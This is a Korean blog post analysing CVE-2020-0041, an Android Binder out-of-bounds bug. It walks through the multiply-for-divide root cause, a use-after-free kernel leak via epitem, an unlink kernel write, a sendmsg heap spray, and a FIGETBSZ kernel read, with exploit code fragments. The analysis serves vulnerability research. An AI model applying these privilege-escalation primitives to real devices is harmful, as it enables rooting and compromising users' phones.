-
CVE-2020-0041 분석 글 번역 및 정리 (+ Samsung Galaxy S10 RCE)Mobile/Android 2020. 10. 26. 02:03
AOSP 3월에 패치된 CVE-2020-0041 취약점에 대한 분석글이다.
원문은 Bluefrost Security LPE 정리글에서 확인할 수 있다.
CVE-2020-0041은 Binder Transaction 과정에서 발생하는 Out of Bound취약점이다.
취약점이 발생하는 이유는 생각보다 간단한데, 인덱스 계산할 때 나눗셈 연산을 해야되는걸 곱셈 연산을 하면서 발생하게 된다.
이게 좀 웃긴게 트랜잭션을 정리하는 과정에서는 또 나눗셈으로 제대로 계산을 해준다.
밤새고 코딩했거나, 술 마시고 코딩했거나..ㅋㅋ
또한, 취약점이 발생하는 코드가 2019년 2월쯤 Qualcomm Kernel(msm)에만 추가되었기 때문에, Qualcomm기반의 Android 10.0 이상의 버전에서만 발생되는 취약점이며, Kernel 4.14/4.9 버전에서 발생된다.
Bluefrost팀은 해당 취약점으로 Chrome Escape와 LPE를 달성했는데 두 익스플로잇 과정을 아주 상세하게 정리해두어서
취약점을 분석하는 입장에서 도움이 정말 많이 됐다.
특히, PoC코드의 각 구문에 대한 설명을 주석으로 달아줘서 이해하는데 도움이 상당히 많이 됐다.
이 글은 Bluefrost팀의 정리글을 번역함과 동시에 내가 분석했던 부분을 추가해서 정리한 글이다.
Root Cause
kernel/drivers/android/binder.c - binder_transaction( )
static void binder_transaction(struct binder_proc *proc, struct binder_thread *thread, struct binder_transaction_data *tr, int reply, binder_size_t extra_buffers_size) { /* 중략 */ case BINDER_TYPE_FDA: { struct binder_object ptr_object; binder_size_t parent_offset; struct binder_fd_array_object *fda = to_binder_fd_array_object(hdr); /******************** 취약점 발생 ********************/ size_t num_valid = (buffer_offset - off_start_offset) * sizeof(binder_size_t); /***************************************************/ /* 패치된 코드 size_t num_valid = (buffer_offset - off_start_offset) / sizeof(binder_size_t); */ struct binder_buffer_object *parent = binder_validate_ptr(target_proc, t->buffer, &ptr_object, fda->parent, off_start_offset, &parent_offset, num_valid); if (!parent) { binder_user_error("%d:%d got transaction with invalid parent offset or type\n", proc->pid, thread->pid); return_error = BR_FAILED_REPLY; return_error_param = -EINVAL; return_error_line = __LINE__; goto err_bad_parent; } if (!binder_validate_fixup(target_proc, t->buffer, off_start_offset, parent_offset, fda->parent_offset, last_fixup_obj_off, last_fixup_min_off)) { binder_user_error("%d:%d got transaction with out-of-order buffer fixup\n", proc->pid, thread->pid); return_error = BR_FAILED_REPLY; return_error_param = -EINVAL; return_error_line = __LINE__; goto err_bad_parent; } ret = binder_translate_fd_array(fda, parent, t, thread, in_reply_to); if (ret < 0) { return_error = BR_FAILED_REPLY; return_error_param = ret; return_error_line = __LINE__; goto err_translate_failed; } last_fixup_obj_off = parent_offset; last_fixup_min_off = fda->parent_offset + sizeof(u32) * fda->num_fds; } break; case BINDER_TYPE_PTR: { struct binder_buffer_object *bp = to_binder_buffer_object(hdr); size_t buf_left = sg_buf_end_offset - sg_buf_offset; size_t num_valid; if (bp->length > buf_left) { binder_user_error("%d:%d got transaction with too large buffer\n", proc->pid, thread->pid); return_error = BR_FAILED_REPLY; return_error_param = -EINVAL; return_error_line = __LINE__; goto err_bad_offset; } if (binder_alloc_copy_user_to_buffer( &target_proc->alloc, t->buffer, sg_buf_offset, (const void __user *) (uintptr_t)bp->buffer, bp->length)) { binder_user_error("%d:%d got transaction with invalid offsets ptr\n", proc->pid, thread->pid); return_error_param = -EFAULT; return_error = BR_FAILED_REPLY; return_error_line = __LINE__; goto err_copy_data_failed; } /* Fixup buffer pointer to target proc address space */ bp->buffer = (uintptr_t) t->buffer->user_data + sg_buf_offset; sg_buf_offset += ALIGN(bp->length, sizeof(u64)); /******************** 취약점 발생 ********************/ num_valid = (buffer_offset - off_start_offset) * sizeof(binder_size_t); /***************************/ /* 패치된 코드 size_t num_valid = (buffer_offset - off_start_offset) / sizeof(binder_size_t); */ ret = binder_fixup_parent(t, thread, bp, off_start_offset, num_valid, last_fixup_obj_off, last_fixup_min_off); if (ret < 0) { return_error = BR_FAILED_REPLY; return_error_param = ret; return_error_line = __LINE__; goto err_translate_failed; } binder_alloc_copy_to_buffer(&target_proc->alloc, t->buffer, object_offset, bp, sizeof(*bp)); last_fixup_obj_off = object_offset; last_fixup_min_off = 0; } break; /* 생략 */ }
CVE-2020-0041 취약점은 Binder 트랜잭션 중 노드의 최대 Index값이 되는
num_valid
값이 잘 못 계산되어서 발생하게 된다.size_t num_valid = (buffer_offset - off_start_offset) * sizeof(binder_size_t);
취약점이 발생하는 구문은 위와 같다.
buffer_offset
이 0x10이고,off_start_offset
이 0x0인 상황에서 위 구문으로num_valid
값을 계산하게 되면 다음과 같은 결과가 도출된다./* buffer_offset - off_start_offset * binder_size_t = num_valid */ (0x10 - 0x0) * 0x8 = 0x80;
num_valid
가 0x80이라는 비정상적인 값으로 계산된다.즉, 해당 바인더 트랜잭션에서 접근 가능한 노드의 최대 Index가 0x80이 되는 것이다.
이 때문에 위와 같이
OOB(Out Of Bound)
취약점이 발생하게 된다.PATCHED
size_t num_valid = (buffer_offset - off_start_offset) / sizeof(binder_size_t);
패치된 코드를 살펴보면 *연산이 / 연산으로 수정되었는데, 해당 구문으로 다시 계산해보면 다음과 같은 결과가 나온다.
/* buffer_offset - off_start_offset * binder_size_t = num_valid */ (0x10 - 0x0) / 0x8 = 0x2;
num_valid
가 0x2로 정상적인 값으로 계산된다.이 취약점만 가지고 LPE를 진행하는건 불가능하다.
bluefrostsecurity
에서는 UAF와 unlink 기법을 추가해서 root권한을 획득하였다.Kernel Memory Leak ( Use After Free )
먼저 CVE-2020-0041의 근본적인 취약점
OOB(OutOfBound)
로UAF(Use After Free)
상황을 만들 수 있다.binder_transaction_buffer_release() (drivers/android/binder.c)
static void binder_transaction_buffer_release(struct binder_proc *proc, struct binder_buffer *buffer, binder_size_t failed_at, bool is_failure) { int debug_id = buffer->debug_id; binder_size_t off_start_offset, buffer_offset, off_end_offset; binder_debug(BINDER_DEBUG_TRANSACTION, "%d buffer release %d, size %zd-%zd, failed at %llx\n", proc->pid, buffer->debug_id, buffer->data_size, buffer->offsets_size, (unsigned long long)failed_at); if (buffer->target_node) binder_dec_node(buffer->target_node, 1, 0); off_start_offset = ALIGN(buffer->data_size, sizeof(void *)); off_end_offset = is_failure ? failed_at : off_start_offset + buffer->offsets_size; [1] for (buffer_offset = off_start_offset; buffer_offset < off_end_offset; buffer_offset += sizeof(binder_size_t)) { struct binder_object_header *hdr; size_t object_size; struct binder_object object; binder_size_t object_offset; binder_alloc_copy_from_buffer(&proc->alloc, &object_offset, buffer, buffer_offset, sizeof(object_offset)); object_size = binder_get_object(proc, buffer, object_offset, &object); if (object_size == 0) { pr_err("transaction release %d bad object at offset %lld, size %zd\n", debug_id, (u64)object_offset, buffer->data_size); continue; } hdr = &object.hdr; [2] switch (hdr->type) { case BINDER_TYPE_BINDER: case BINDER_TYPE_WEAK_BINDER: { struct flat_binder_object *fp; struct binder_node *node; fp = to_flat_binder_object(hdr); [3] node = binder_get_node(proc, fp->binder); if (node == NULL) { pr_err("transaction release %d bad node %016llx\n", debug_id, (u64)fp->binder); break; } binder_debug(BINDER_DEBUG_TRANSACTION, " node %d u%016llx\n", node->debug_id, (u64)node->ptr); [4] binder_dec_node(node, hdr->type == BINDER_TYPE_BINDER, 0); binder_put_node(node); } break;
binder_transaction_buffer_release()
는 바인더 트랜잭션에 사용된 노드를 해제하는 역할을 한다.[1] 구문의 반복문을 돌면서 트랜잭션의 모든
binder_node
들이 처리되고, [2]의 switch문으로BINDER_TYPE
에 따른 case에 맞게 노드들이 처리된다.노드 해제는 [4]의
binder_dec_node()
에서 처리되는데, 인자로 전달되는node
는 [3]에서binder_get_node()
를 통해 가져와진다.fp->binder
는OOB
로 수정가능한 값이기 때문에 임의의binder_node
로 바꿀 수 있게 된다.따라서,
binder_dec_node()
에 사용중인 임의의binder_node
를 넘겨줌으로써UAF
가 발생하게 된다.이렇게 트리거한
UAF
취약점으로Kernel Memory leak
이 가능해지는데, 트랜잭션 과정에서binder_node
의 데이터가 유저 영역으로 저장되는 과정을 살펴볼 필요가 있다.binder_thread_read() (drivers/android/binder.c)
struct binder_transaction_data *trd = &tr.transaction_data; ... if (t->buffer->target_node) { struct binder_node *target_node = t->buffer->target_node; struct binder_priority node_prio; [1] trd->target.ptr = target_node->ptr; trd->cookie = target_node->cookie; node_prio.sched_policy = target_node->sched_policy; node_prio.prio = target_node->min_priority; binder_transaction_priority(current, t, node_prio, target_node->inherit_rt); cmd = BR_TRANSACTION; } else { trd->target.ptr = 0; trd->cookie = 0; cmd = BR_REPLY; } ... [2] if (copy_to_user(ptr, &tr, trsize)) { if (t_from) binder_thread_dec_tmpref(t_from); binder_cleanup_transaction(t, "copy_to_user failed", BR_FAILED_REPLY); return -EFAULT; } ptr += trsize;
binder_node
가 트랜잭션의target_node
로 사용되면 위 코드에서 [1] 분기문으로 처리된다.유심히 봐야할 부분은
binder_node
의ptr
과cookie
필드를binder_transaction_data
오브젝트에 저장하고,[2] 분기문에서 유저영역으로 복사되는 점이다.[2] 분기문은 수신 프로세스가 트랜잭션을 읽어 들일 때 수행되게 되는데,
binder_node
를 트랜잭션 대기열에 등록하고 위의OOB
취약점으로 해당 노드를 해제하게 되면 노드는 dangling pointer를 가지게 될 것이다.이 상태에서
binder_node
와 크기가 같고, 마음대로 할당/해제가 가능한 오브젝트가 있다면 해당 오브젝트로 재할당을 유도할 수 있을 것이다.위 조건을 충족하는 오브젝트로
eventpoll
에서 사용되는epitem
오브젝트가 있다.먼저
binder_node
의 필드 구조부터 살펴보자. 노드의 크기는 128Byte를 가진다.binder_node ( drivers/android/binder.c )
struct binder_node { // binder_node Total Size: 128 Byte (Decimal) int debug_id; // 0 - 4 (4 Byte) spinlock_t lock; // 4 - 8 (4 Byte) struct binder_work work; // 8 - 32 (24 Byte) union { // 32 - 56 (24 Byte) // union은 가장 큰 멤버의 크기로 할당됨 (24 > 16) struct rb_node rb_node; // rb_node Total Size: 24Byte // ㄴ unsigned long __rb_parent_color; // 8 byte // ㄴ struct rb_node *rb_right; // 8 byte // ㄴ struct rb_node *rb_left; // 8 byte struct hlist_node dead_node; // hlist_node Total size: 16Byte // ㄴ struct hlist_node *next; // 8 byte // ㄴ struct hlist_node **pprev; // 8 byte }; struct binder_proc *proc; // 56 - 64 (8 Byte) struct hlist_head refs; // 64 - 72 (8 Byte) // ㄴ struct hlist_node *first; // 8 byte int internal_strong_refs; // 72 - 76 (4 Byte) int local_weak_refs; // 76 - 80 (4 Byte) int local_strong_refs; // 80 - 84 (4 Byte) int tmp_refs; // 84 - 88 (4 Byte) binder_uintptr_t ptr; // 88 - 96 (8 Byte) /* Point(1) */ binder_uintptr_t cookie; // 96 - 104 (8 Byte) /* Point(2) */ struct { // 104 - 105 (1 Byte) /* * bitfield elements protected by * proc inner_lock */ u8 has_strong_ref:1; u8 pending_strong_ref:1; u8 has_weak_ref:1; u8 pending_weak_ref:1; }; struct { // 105 - 107 (2 Byte) /* * invariant after initialization */ u8 accept_fds:1; u8 txn_security_ctx:1; u8 min_priority; }; bool has_async_transaction; // 107 - 108 (1 Byte) // 108 - 112 (4 Byte) for align struct list_head async_todo; // 112 - 128 (16 Byte) };
copy_to_user()
에서 복사되는 값은ptr
,cookie
두 필드의 값이며, 각 0x58(88), 0x60(96) 오프셋에 위치한다.binder_uintptr_t ptr; // 88 - 96 (8 Byte) /* Point(1) */ binder_uintptr_t cookie; // 96 - 104 (8 Byte) /* Point(2) */
다음은 epitem의 구조를 살펴보자
epitem ( fs/eventpoll.c )
struct epitem { union { // 0 - 24 (24 Byte) Union 공용체 (24Byte > 16Byte) struct rb_node rbn; // 24 Byte // ㄴ unsigned long __rb_parant_color // 8 Byte // ㄴ struct rb_node *rb_right; // 8 Byte // ㄴ struct rb_node *rb_left; // 8 Byte struct rcu_head rcu; // 16 Byte // ㄴ struct callback_head *next; // 8 Byte // ㄴ void (*func)(struct callback_head *);// 8 Byte }; struct list_head rdllink; // 24 - 40 (16 Byte) // ㄴ struct list_head *next; // 8 Byte // ㄴ struct list_head *prev; // 8 Byte struct epitem *next; // 40 - 48 (8 Byte) struct epoll_filefd ffd; // 48 - 60 (12 Byte) // ㄴ struct file *file; // 8 Byte // ㄴ int fd; // 4 Byte int nwait; // 60 - 64 (4 Byte) struct list_head pwqlist; // 64 - 80 (16 Byte) // ㄴ struct list_head *next; // 8 Byte // ㄴ struct list_head *prev; // 8 Byte struct eventpoll *ep; // 80 - 88 (8 Byte) struct list_head fllink; // 88 - 104 (16 Byte) // ㄴ struct list_head *next; // 8 Byte /* Point(1) == binder_node->ptr */ // ㄴ struct list_head *prev; // 8 Byte /* Point(2) == binder_node->cookie */ struct wakeup_source __rcu *ws; // 104 - 112 (8 Byte) struct epoll_event event; // 112 - 128 (16 Byte) // ㄴ __u32 events; // ㄴ __u64 data; };
epitem
도 128Byte의 크기를 가지며, 0x58에는fllink->next
, 0x60에는fllink->prev
가 위치한다.fllink
는eventpoll
의epitem
오브젝트를 리스트로 연결해서 관리하는데 사용되기 때문에fllink->next
와fllink->prev
두 개의 커널 메모리를 얻을 수 있게 된다.그림으로 표현하면 다음과 같이 표현할 수 있다.
하나의
epitem
이 할당되면 위와 같은 모습의 리스트 구조를 갖게 된다.그림에서
binder_node->ptr
과binder_node->cookie
와 같은 오프셋을 가지는 부분은fllink.next
와fllink.prev
부분이다.리스트에
epitem
이 하나만 존재하기 때문에next
와prev
가 같은 포인터 값을 갖게 되므로 하나의 커널 주소를 얻을 수 있게 된다.두 개의
epitem
이 리스트에 존재한다고 가정해보자fllink.next
은 다음epitem
의 주소를 갖게 되고,fllink.prev
는struct file
의 주소를 갖게되므로 두 개의 커널 주소를 얻을 수 있다.다만, 이 방법으로 leak을 진행하려면
UAF
를 통해epitem
이binder_node
위치에 재할당될 때까지copy_to_user()
가 실행되지 않도록 트랜잭션을 대기 상태로 두어야 한다.이 부분은 Thread를 사용해서 해결할 수 있다.
각 트랜잭션 마다 Thread를 생성하고,
pthread_barrier_wait()
를 통해 Thread를 블록상태로 두면 트랜잭션 또한 더 이상 진행되지 않고 대기 상태로 유지된다.leak이 필요한 시점에 블록상태를 해제하면
copy_to_user()
가 실행되고 우리가 원하는 데이터를 얻을 수 있게 된다.여기서 알아낸 커널 포인터는 Kernel Write를 구현하는데 사용된다.
Kernel Write ( unlink )
Kernel Write를 위해서 앞에서 봤던
binder_transaction_buffer_release()
로 다시 되돌아 가야 한다.static void binder_transaction_buffer_release(struct binder_proc *proc, struct binder_buffer *buffer, binder_size_t failed_at, bool is_failure) { int debug_id = buffer->debug_id; binder_size_t off_start_offset, buffer_offset, off_end_offset; binder_debug(BINDER_DEBUG_TRANSACTION, "%d buffer release %d, size %zd-%zd, failed at %llx\n", proc->pid, buffer->debug_id, buffer->data_size, buffer->offsets_size, (unsigned long long)failed_at); [1] if (buffer->target_node) binder_dec_node(buffer->target_node, 1, 0); /* 생략 */
[1] 조건문에서 노드가 트랜잭션의
target_node
인지 확인하고,target_node
일 경우binder_dec_node()
로 분기된다.static void binder_dec_node(struct binder_node *node, int strong, int internal) { bool free_node; binder_node_inner_lock(node); free_node = binder_dec_node_nilocked(node, strong, internal); binder_node_inner_unlock(node); if (free_node) binder_free_node(node); }
binder_dec_node()
는 노드를 블럭시키고binder_dec_node_nilocked()
로 해제 과정을 진행한다.static bool binder_dec_node_nilocked(struct binder_node *node, int strong, int internal) { struct binder_proc *proc = node->proc; assert_spin_locked(&node->lock); if (proc) assert_spin_locked(&proc->inner_lock); if (strong) { if (internal) node->internal_strong_refs--; else node->local_strong_refs--; if (node->local_strong_refs || node->internal_strong_refs) return false; } else { if (!internal) node->local_weak_refs--; if (node->local_weak_refs || node->tmp_refs || !hlist_empty(&node->refs)) return false; } if (proc && (node->has_strong_ref || node->has_weak_ref)) { [1] if (list_empty(&node->work.entry)) { binder_enqueue_work_ilocked(&node->work, &proc->todo); binder_wakeup_proc_ilocked(proc); } [2] } else { if (hlist_empty(&node->refs) && !node->local_strong_refs && !node->local_weak_refs && !node->tmp_refs) { if (proc) { binder_dequeue_work_ilocked(&node->work); rb_erase(&node->rb_node, &proc->nodes); binder_debug(BINDER_DEBUG_INTERNAL_REFS, "refless node %d deleted\n", node->debug_id); } else { [3] BUG_ON(!list_empty(&node->work.entry)); spin_lock(&binder_dead_nodes_lock); /* * tmp_refs could have changed so * check it again */ if (node->tmp_refs) { spin_unlock(&binder_dead_nodes_lock); return false; } [4] hlist_del(&node->dead_node); spin_unlock(&binder_dead_nodes_lock); binder_debug(BINDER_DEBUG_INTERNAL_REFS, "dead node %d deleted\n", node->debug_id); } return true; } } return false; }
binder_dec_node_nilocked()
에서 몇 가지 분기문을 지나면hlist_del()
로 실질적인 해제가 진행된다.[1]분기문에서는
list_empty()
를 통해 노드가 비었는지 확인하기 때문에, [2]로 분기 시키기 위해서 노드의 데이터를 설정해주고, 다음으로 노드의proc
이NULL
인지 확인하는데NULL
이 아니기 때문에 [3]으로 분기된다.[3]에서
list_empty()
가 실행되면서BUG_ON()
검사가 진행되는데, 이 검사를 생략하려면node->next
와node->prev
가list_head
를 가리키게 해야한다.이 부분은 위에서
Kernel Memory leak
을 통해 얻은 주소로 해결할 수 있다.[3]까지 우회하게 되면 [4]구문에서 우리가 쓰기 가능한
node
로hlist_del()
에 진입하게 된다.static inline void __hlist_del(struct hlist_node *n) { struct hlist_node *next = n->next; struct hlist_node **pprev = n->pprev; WRITE_ONCE(*pprev, next); if (next) next->pprev = pprev; } static inline void hlist_del(struct hlist_node *n) { __hlist_del(n); n->next = LIST_POISON1; n->pprev = LIST_POISON2; }
hlist_del()
를 보면 전형적인 unlink 수행 함수이다.따라서, 두 개의 쓰기 가능한 커널 주소를
node->next
와node->prev
로 설정해서Kernel Write
를 진행할 수 있다.또한,
node->next
를NULL
로 설정하면 하나의 커널 주소에 8ByteNULL
를 쓸 수 있다.여기서
node->next
와node->prev
를 완전히 컨트롤 하기 위해서는HeapSpray
과정이 필요하다.커널영역의
HeapSpray
는sendmsg()
시스템콜을 통해 진행할 수 있다.static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg, struct msghdr *msg_sys, unsigned int flags, struct used_address *used_address, unsigned int allowed_msghdr_flags) { struct compat_msghdr __user *msg_compat = (struct compat_msghdr __user *)msg; struct sockaddr_storage address; struct iovec iovstack[UIO_FASTIOV], *iov = iovstack; unsigned char ctl[sizeof(struct cmsghdr) + 20] __attribute__ ((aligned(sizeof(__kernel_size_t)))); /* 20 is size of ipv6_pktinfo */ unsigned char *ctl_buf = ctl; int ctl_len; ssize_t err; ... if (ctl_len > sizeof(ctl)) { [1] ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL); if (ctl_buf == NULL) goto out_freeiov; } err = -EFAULT; /* * Careful! Before this, msg_sys->msg_control contains a user pointer. * Afterwards, it will be a kernel pointer. Thus the compiler-assisted * checking falls down on this. */ [2] if (copy_from_user(ctl_buf, (void __user __force *)msg_sys->msg_control, ctl_len)) goto out_freectl; msg_sys->msg_control = ctl_buf; } ... out_freectl: if (ctl_buf != ctl) [3] sock_kfree_s(sock->sk, ctl_buf, ctl_len); out_freeiov: kfree(iov); return err; }
위 함수가
sendmsg()
의 구현체인데, [1]을 보면 요청한 메시지의 길이가ctl_buf
보다 크면sock_kmalloc()
을 통해 커널에 힙 할당이 이루어지는 것을 볼 수 있다.[2]에서
copy_from_user()
로 요청 메시지가ctl_buf
로 복사되고, [3]에서 할당이 해제된다.hlist_del()
에서 unlink가 진행되기 전에ctl_buf
의 할당이 해제되면 안되기 때문에,copy_from_user()
가 실행된 뒤의 코드 실행을 차단해야 한다.사용자가 전송한 데이터가 버퍼를 가득 채우게 되면 시스템 호출이 차단되는데, 이 방법을 통해서
sock_kfree_s()
의 실행을 차단할 수 있다.이
HeapSpray
를 통해 우리는binder_node
를 완전히 제어 가능한 형태로 재할당해 줄 수 있다.Kernel Read
Kernel Read는
CVE-2019-2205
과 동일한 방법을 사용하였다.UAF
를 통해file->f_inode
를 제어 가능한 형태로 만들어 준 뒤,ioctl()
를 통해Kernel Read
를 수행한다.다만,
CVE-2019-2205
에서는binder_mapping
을 활용하였지만 현재 버전에서는binder_mapping
이 제거되면서 더 이상 해당 방법을 통해서는 불가능해졌다.여기에서는
file->f_inode
가epitem
을 가리키도록 해서binder_mapping
을 대체하였다.epitem
에는 우리가 완전히 제어 가능한epitem.data
필드가 존재한다.epitem.data
는 8Byte의 크기를 가지며,ep_ctl(efd, EPOLL_CTL_MOD, fd &event)
를 통해 수정할 수 있다.do_vfs_ioctl ( fs/ioctl.c )
int do_vfs_ioctl(struct file *filp, unsigned int fd, unsigned int cmd, unsigned long arg) { int error = 0; int __user *argp = (int __user *)arg; struct inode *inode = file_inode(filp); switch (cmd) { ... case FIGETBSZ: return put_user(inode->i_sb->s_blocksize, argp); /* Point */ ...
따라서,
event.data
값을inode->i_sb->s_blocksize
로 정렬하면 원하는 커널주소의 값을 읽을 수 있게 된다.이 과정을 그림으로 다음과 같이 표현할 수 있다.
먼저
Kernel Write
로epitem->next
가file->f_inode
를 가리키도록 한다.그런 다음
f_inode
가epitem
을 가리키도록 하는데,inode->i_sb
가epitem.data
와 정렬되도록 오프셋을 잘 계산해서 주소를 덮어써준다.여기까지 진행하면
inode->i_sb
는epitem.data
를 가리키게 된다.이제
epitem.data
에Kernel_Addr - s_blocksize(24)
값을 써주면, 우리가 원하는 커널 주소의 값을 읽어올 수 있게된다.uint64_t read32(uint64_t addr) { struct epoll_event evt; evt.events = 0; evt.data.u64 = addr - 24; int err = epoll_ctl(file->ep_fd, EPOLL_CTL_MOD, pipes[0], &evt); uint32_t test = 0xdeadbeef; ioctl(pipes[0], FIGETBSZ, &test); return test; } uint64_t read64(uint64_t addr) { uint32_t lo = read32(addr); uint32_t hi = read32(addr+4); return (((uint64_t)hi) << 32) | lo; }
위에서 설명한 방법으로
Kernel Read
를 구현한 모습이다.evt.data.u64
에Kernel_Addr - 24(s_blocksize)
값을 저장하고ioctl()
로 값을 읽어온다.ioctl()
은 4Byte만 읽어올 수 있기 때문에, 8Byte를 읽기 위해서는 값을 두 번 읽어줘야 한다.전체적인 과정의 코드는 다음과 같다.
/* Step 1: leak a pipe file address */ file = node_new("leak_file"); /* Only works on file implementing the 'epoll' function. */ while (!node_realloc_epitem(file, pipes[0])) node_reset(file); uint64_t file_addr = file->file_addr; log_info("[+] pipe file: 0x%lx\n", file_addr); /* Step 2: leak epitem address */ struct exp_node *epitem_node = node_new("epitem"); while (!node_kaddr_disclose(file, epitem_node)) node_reset(epitem_node); printf("[*] file epitem at %lx\n", file->kaddr); /* * Alright, now we want to do a write8 to set file->f_inode. * Given the unlink primitive, we'll set file->f_inode = epitem + 80 * and epitem + 88 = &file->f_inode. * * With this we can change f_inode->i_sb by modifying the epitem data, * and get an arbitrary read through ioctl. * * This is corrupting the fllink, so we better don't touch anything there! */ struct exp_node *write8_inode = node_new("write8_inode"); node_write8(write8_inode, file->kaddr + 120 - 40 , file_addr + 0x20); printf("[*] Write done, should have arbitrary read now.\n"); uint64_t fop = read64(file_addr + 0x28); printf("[+] file operations: %lx\n", fop); kernel_base = fop - OFFSET_PIPE_FOP; printf("[+] kernel base: %lx\n", kernel_base);
이로써,
Kernel Write
,Kernel Read
가 가능해졌다.이제부터는
Read/Write
를 적절히 활용해서 익스플로잇을 진행하면 된다.
Samsung S10 RCE (SELinux + Know Bypass)
CVE-2020-0041 1day를 이용한 Samsung Galaxy S10 RCE 영상입니다.
SELinux와 Knox를 우회하는 과정에서 제약사항들이 좀 있어서 익스플로잇 시간이 좀 기네요.
'Mobile > Android' 카테고리의 다른 글
Android Kernel Exploit - Basic (3) 2020.04.30 Android NDK - C Language Build ( Native ) (0) 2020.04.24 JEB2 App 동적 디버깅 (3) 2019.12.23 IDA를 이용한 Android App Library 동적 디버깅 (1) 2019.12.20 Unity기반(mono) 게임 App 분석 (0) 2019.12.07 댓글